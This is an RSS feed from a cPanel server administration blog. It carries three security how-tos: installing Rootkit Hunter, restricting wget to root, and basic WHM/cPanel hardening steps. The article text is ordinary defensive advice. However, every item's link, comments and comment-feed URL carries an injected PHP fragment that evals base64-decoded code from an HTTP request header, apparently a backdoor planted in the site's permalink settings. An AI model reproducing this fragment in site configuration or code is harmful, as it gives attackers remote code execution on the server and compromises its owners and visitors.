<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; security</title>
	<atom:link href="http://www.cpanelconfig.com/tag/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Install Rootkit Hunter (1.3)</title>
		<link>http://www.cpanelconfig.com/2007/11/16/install-rootkit-hunter-13/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/11/16/install-rootkit-hunter-13/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 16 Nov 2007 08:52:59 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[rkhunter]]></category>
		<category><![CDATA[rootkit]]></category>
		<category><![CDATA[Rootkit Hunter]]></category>
		<category><![CDATA[rootkits]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/install-rootkit-hunter-13/</guid>
		<description><![CDATA[What is Rootkit Hunter ?




Rootkit scanner is scanning tool to ensure you for about 99.9%* you&#8217;re clean of nasty tools. This tool scans for rootkits, backdoors and local exploits by running tests like:
- MD5 hash compare
- Look for default files used by rootkits
- Wrong file permissions for binaries
- Look for suspected strings in LKM and [...]]]></description>
			<content:encoded><![CDATA[<p><strong>What is Rootkit Hunter ?</strong><br />
<!--adsense--><br />
Rootkit scanner is scanning tool to ensure you for about 99.9%* you&#8217;re clean of nasty tools. This tool scans for rootkits, backdoors and local exploits by running tests like:</p>
<p>- MD5 hash compare<br />
- Look for default files used by rootkits<br />
- Wrong file permissions for binaries<br />
- Look for suspected strings in LKM and KLD modules<br />
- Look for hidden files<br />
- Optional scan within plaintext and binary files</p>
<p><strong>How to install?</strong><br />
<!--adsense--></p>
<ol>
<li>Login as root to your server</li>
<li>Download the package and extract it</li>
<blockquote><p>wget http://prdownloads.sourceforge.net/rkhunter/rkhunter-1.3.0.tar.gz<br />
tar -xzf rkhunter*</p></blockquote>
<li>Run the installer</li>
<blockquote><p>cd rkhunter-*<br />
./installer.sh &#8211;layout default &#8211;install</p></blockquote>
<li>Run rkhunter</li>
<blockquote><p>/usr/local/bin/rkhunter -c</p></blockquote>
</ol>
<p><!--adsense--><br />
Enjoy !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/11/16/install-rootkit-hunter-13/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Disable wget</title>
		<link>http://www.cpanelconfig.com/2007/11/06/disable-wget/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/11/06/disable-wget/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 06 Nov 2007 13:41:16 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[General work]]></category>
		<category><![CDATA[Linux commands]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[permissions]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[wget]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/uncategorized/disable-wget/</guid>
		<description><![CDATA[wget is one of the largest threats for your server security. A single abuser that gains access to wget can download and run any script that he wants, totally compromising your server.

It is highly recommended that you allow only root to use wget and you restrict all other users from it.

Login to your server as [...]]]></description>
			<content:encoded><![CDATA[<p>wget is one of the largest threats for your server security. A single abuser that gains access to wget can download and run any script that he wants, totally compromising your server.<br />
<!--adsense--><br />
It is highly recommended that you allow only root to use wget and you restrict all other users from it.</p>
<ol>
<li>Login to your server as root</li>
<li>Run the fallowing command</li>
<blockquote><p>chmod 0700 /usr/bin/wget</p></blockquote>
</ol>
<p>Please note that disabling wget might cause some scripts to stop working. A known problem is that Fantastico will stop updating after this. The solution is pretty easy&#8230;<br />
<strong>Before </strong>you disable wget make sure that you do a copy of it with the initial permissions. You can use any name that you want, the fallowing is just an example:</p>
<blockquote><p>cp /usr/bin/wget /usr/bin/wget_secret</p></blockquote>
<p><!--adsense--><br />
In the Fantastico configuration input the location to wget as:</p>
<blockquote><p>/usr/bin/wget_secret</p></blockquote>
<p>If for some reason you you want to revert the change you simply have to do:</p>
<blockquote><p>chmod 0711 /usr/bin/wget</p></blockquote>
<p>If you have any questions or suggestions please leave a comment.<br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/11/06/disable-wget/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Basic security configuration for a new cPanel server</title>
		<link>http://www.cpanelconfig.com/2007/09/17/basic-security-configuration-for-a-new-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/17/basic-security-configuration-for-a-new-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Mon, 17 Sep 2007 21:49:30 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[secure]]></category>
		<category><![CDATA[securing]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/basic-security-configuration-for-a-new-cpanel-server/</guid>
		<description><![CDATA[Note: This article is based on a Layeredtech knowledgebase article https://support.layeredtech.com/home/index.php?x=&#38;mod_id=2&#38;id=101

We do not guaranty that the following steps will make your server hack proof, but it will greatly reduce your chances of compromise.
Basic Steps to Securing CPanel (Linux based OS):
These are items inside of WHM/Cpanel that should be changed to secure your server.
Goto Server Setup [...]]]></description>
			<content:encoded><![CDATA[<p>Note: This article is based on a Layeredtech knowledgebase article <a href="https://support.layeredtech.com/home/index.php?x=&amp;mod_id=2&amp;id=101">https://support.layeredtech.com/home/index.php?x=&amp;mod_id=2&amp;id=101</a></p>
<p><!--adsense--></p>
<p>We do not guaranty that the following steps will make your server hack proof, but it will greatly reduce your chances of compromise.</p>
<p>Basic Steps to Securing CPanel (Linux based OS):</p>
<p>These are items inside of WHM/Cpanel that should be changed to secure your server.</p>
<p>Goto Server Setup =&gt;&gt; Tweak Settings</p>
<p>Check the following items&#8230;</p>
<p>Under Domains<br />
Prevent users from parking/adding on common internet domains. (ie hotmail.com, aol.com)</p>
<p>Under Mail<br />
Attempt to prevent pop3 connection floods<br />
Default catch-all/default address behavior for new accounts &#8211; blackhole</p>
<p>Under System<br />
Use jailshell as the default shell for all new accounts and modified accounts</p>
<p>Goto Server Setup =&gt;&gt; Tweak Security<br />
Enable php open_basedir Protection<br />
Enable mod_userdir Protection<br />
Disabled Compilers for unprivileged users.</p>
<p>Goto Server Setup =&gt;&gt; Manage Wheel Group Users<br />
Remove all users except for root and your main account from the wheel group.</p>
<p>Goto Server Setup =&gt;&gt; Shell Fork Bomb Protection<br />
Enable Shell Fork Bomb/Memory Protection</p>
<p>When setting up Feature Limits for resellers in Resellers =&gt;&gt; Reseller Center, under Privileges always disable Allow Creation of Packages with Shell Access and enable Never allow creation of accounts with shell access; under Root Access disable All Features.</p>
<p>Goto Service Configuration =&gt;&gt; FTP Configuration<br />
Disable Anonymous FTP</p>
<p>Goto Account Functions =&gt;&gt; Manage Shell Access<br />
Disable Shell Access for all users (except yourself)</p>
<p>Goto Mysql =&gt;&gt; MySQL Root Password<br />
Change root password for MySQL</p>
<p>Goto Security and run Quick Security Scan and Scan for Trojan Horses often. The following and similar items are not Trojans:<br />
/sbin/depmod<br />
/sbin/insmod<br />
/sbin/insmod.static<br />
<!--adsense--><br />
/sbin/modinfo<br />
/sbin/modprobe<br />
/sbin/rmmod</p>
<p>These are measures that can be taken to secure your server, with SSH access.</p>
<p>Udate OS, Apache and CPanel to the latest stable versions.</p>
<p>This can be done from WHM/CPanel.</p>
<p><a href="http://www.cpanelconfig.com/cpanel-security-related-articles/secure-ssh-access/">Restrict SSH Access</a></p>
<p>Disable Shell Accounts</p>
<p>To disable any shell accounts hosted on your server SSH into server and login as root.</p>
<p>At command prompt type: locate shell.php</p>
<p>Also check for:</p>
<p>locate irc<br />
locate eggdrop<br />
locate bnc<br />
locate BNC<br />
locate ptlink<br />
locate BitchX<br />
locate guardservices<br />
locate psyBNC<br />
locate .rhosts</p>
<p>Note: There will be several listings that will be OS/CPanel related. Examples are</p>
<p>/home/cpapachebuild/buildapache/php-4.3.1/ext/ircg<br />
/usr/local/cpanel/etc/sym/eggdrop.sym<br />
/usr/local/cpanel/etc/sym/bnc.sym<br />
/usr/local/cpanel/etc/sym/psyBNC.sym<br />
/usr/local/cpanel/etc/sym/ptlink.sym<br />
/usr/lib/libncurses.so<br />
/usr/lib/libncurses.a<br />
etc.</p>
<p>Disable identification output for Apache</p>
<p>To disable the version output for proftp, SSH into server and login as root.</p>
<p>At command prompt type: pico /etc/httpd/conf/httpd.conf</p>
<p>Scroll (way) down and change the following line to</p>
<p>ServerSignature Off</p>
<p>Restart Apache</p>
<p>At command prompt type: /etc/rc.d/init.d/httpd restart</p>
<p><a href="http://www.cpanelconfig.com/cpanel-security-related-articles/install-chkrootkit/">Install chkrootkit</a></p>
<p><!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/17/basic-security-configuration-for-a-new-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
